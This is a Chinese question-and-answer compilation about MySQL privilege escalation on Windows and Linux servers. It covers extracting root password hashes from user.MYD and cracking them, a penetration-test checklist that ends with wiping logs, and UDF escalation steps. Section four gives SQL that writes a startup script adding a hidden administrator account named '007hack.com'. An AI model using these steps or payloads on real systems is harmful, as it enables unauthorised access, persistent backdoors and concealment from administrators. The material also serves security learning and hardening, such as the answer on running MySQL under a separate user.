㈠ 如何通过mysql提权获得flag值
利用mysql提权的前提就是,服务器安装了mysql,mysql的服务没有降权,(降权也可以提,没降权的话就最好了),是默认安装以系统权限继承的(system权限). 并且获得了root的账号密码
先来说说我是咋判断一台windows服务器上的mysql有没有降权的. 0.0如果能运行cmd的话,我会先看看有啥用户先,如果有mysql mssql这样用户名,或者类似的.我就会猜测他的mssql服务或者mysql的已经被降权运行了.但并不代表不能提权,只要能运行cmd..
接着说一下,判断服务器上是否开启了mysql服务. 一般在拿到webshell的时候,都会扫描一下端口,如果开启了3306端口的话,我会telnet 过去看看- -.忘了有无回显~(提权的时候,大多数 3306端口的都是不支持外链的.呃,我遇到的大多数是这样, 有root可以开启外链.) 当然也有一些管理员会把mysql的默认端口改掉.另外一个判断的方法就是网站是否支持php,一般支持php的网站都用mysql数据库的.php+mysql啊,好基友啊好丽友- -~(当然,也有一些网站用其他的一些更专业的数据库).
再说说如何查找mysql root的密码.
MYSQL所有设置默认都保存在“C:\Program Files\MYSQL\MYSQL Server 5.0\data\MYSQL”中,也就是安装程序的data目录下,如图2所示,有关用户一共有三个文件即user.frm、user.MYD和 user.MYI,MYSQL数据库用户密码都保存在user.MYD文件中,包括root用户和其他用户的密码。
User.frm user.myd User.myi
这几个文件.在webshell下,下载下来,解密.用c32asm或者其他的一些文本编辑器user.MYD打开.
A30F80616A023BDFC9
复制到cmd5.com那查一下,或者用cain爆破一下.
打开后使用二进制模式进行查看,如图所示,可以看到在root用户后面是一串字符串,选中这些字符串将其复制到记事本中,这些字符串即为用户加密值,即A30F80616A023BDFC9 。
具体使用cain破解的,我这就不演示了
还有一个查找的方法就是,一些php网站安装的时候用的是root用户,例如dedecms,他数据库安装的信息就是写在data/common.inc.php
㈡ 网站渗透测试,怎么进行
1.信息收集:
1)、获取域名的whois信息,获取注册者邮箱姓名电话等。
2)、查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。
3)、查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞。
4)、查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。
5)、扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针。
6)、google hack 进一步探测网站的信息,后台,敏感文件。
2.漏洞扫描:
开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含, 远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等。
3.漏洞利用:
利用以上的方式拿到webshell,或者其他权限。
4.权限提升:
提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉, linux藏牛漏洞,linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权。
5.日志清理:
结束渗透测试工作需要做的事情,抹除自己的痕迹。
需要规避的风险:
1. 不执行任何可能引起业务中断的攻击(包括资源耗竭型DoS,畸形报文攻击,数据破坏)。
2. 测试验证时间放在业务量最小的时间进行。
3. 测试执行前确保相关数据进行备份
4. 所有测试在执行前和维护人员进行沟通确认。
㈢ Mysql用户提权问题
UPDATE `mysql`.`user` SET `Event_priv` = 'Y' WHERE `user`.`User`= ’root‘ AND `user`.`Host`= ’%‘;
完了后再,
FLUSH PRIVILEGES;
这种情况你最好专门为远程登陆建一个帐号,主要是为了安全。
㈣ mysql安全模式怎么提权
mysql 5.1版本以上,必须把udf文件放到mysql安装目录下的lib/plugin下才能创建自定义函数,mysql into mpfile并不能创建文件夹,所以mysql 5.1以上的版本,root权限提权就很困难了,目前已有的方法只有写启动项如下:
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user 007hack.com qwer1234!@#$qwe /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators 007hack.com /add"",0) " );
㈤ mysql 不在c盘 udf 提权吗
首先登陆 mysql: >mysql -u root -p
然后查看是否启用了日志
mysql>show variables like 'log_?39;;
查看当前的日志
mysql> show master status;
你需要知道的mysql的日志类型:
错误日志: -log-err
查询日志: -log
慢查询日志: -log-slow-queries
更新日志: -log-update
二进制日志: -log-bin
修改配置(以下为日志文件保存位置)
[mysqld]
log=/var/log/mysqld_common.log
log-error=/var/log/mysqld_err.log
log-bin=/var/log/mysqld_bin.bin
㈥ 怎么在Windows下的MYSQL网站利用UDF.dll提权
udf.dll提权在MySQL版本大于5.0会有很多限制,因为导出udf.dll目录到winnt目录已经不行。好在还有方法, http://www.fuxkit.com/index.php/blog/archive/mysql-into-start-directory/,t00ls转载的,udf.dll失败时可以考虑试试^_^
㈦ linux mysql udf提权漏洞怎么办
在mysql库下必须有func表,并且在‑‑skip‑grant‑tables开启的情况下,UDF会被禁止;
过程: 得到插件库路径 找对应操作系统的udf库文件 利用udf库文件加载函数并执行命令
1,得到插件库路径
?
1
2
3
4
5
6
7
mysql> show variables like "%plugin%";
+---------------+-----------------------+
| Variable_name | Value |
+---------------+-----------------------+
| plugin_dir | /usr/lib/mysql/plugin |
+---------------+-----------------------+
1 row in set (0.00 sec)
2,找对应操作系统的udf库文件
因为自己测试,看了下自己系统的版本,64位
?
1
2
root@bt:~# uname -a
Linux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 EST 2012 x86_64 GNU/Linux
对于udf文件,在sqlmap工具中自带就有,只要找对应操作系统的版本即可
?
1
2
3
4
5
6
root@bt:/pentest/database/sqlmap/udf/mysql# ls
linux windows
root@bt:/pentest/database/sqlmap/udf/mysql/linux# ls
32 64
root@bt:/pentest/database/sqlmap/udf/mysql/linux/64# ls
lib_mysqludf_sys.so
3,利用udf库文件加载函数并执行命令
首先要得到udf库文件的十六进制格式,可在本地通过
㈧ 已经进入了后台,可是提权的时候有点不顺利。请问查看Mysql数据库的帐户密码在哪些文件里啊
看是什么数据库啊,如果是本地文件库,一般在以db结尾的就是。
㈨ mysql能用linux系统用户吗
首先建立一个系统账户用户,例如 aiya,并禁止bash登录。设置noshell。
然后修改mysqld.cnf文件,这个文件具体看不同发行版,例如Ubuntu 18以上,在
/etc/mysql/mysql.conf.d/mysqld.cnf
找到配置文件中[mysqld]小节,在其中有一行:
user = mysql
改成
user = aiya
保存后退出,重启mysql服务就可以了。
但是请记住,SeLinux和AppArmor会禁止很多东西,你需要修改SeLinux、AppArmor,允许aiya账户访问mysql的数据data目录以及其他权限。如果启动mysql服务出错,请查看mysql日志吧,坑比较多。
如果你使用系统自带的apt install mysql-server指令安装的话,那么mysql server默认就是用单独的【mysql】账户运行的,不会有root提权问题。
㈩ linux+mysql怎么提权
据我所知mysql没有管理账号这样的概念,只有不同的用户权限。默认root用户就具有所有的权限,你可以新建一个用户,使它拥有所有的权限,还可以指定从什么地方登陆。权限划分可以很细的,可以精确到table,像select这种简单的查看功能命令都可以限定。具体命令像create,grant等等可以找本书看看。希望help you。reference51cto,365testing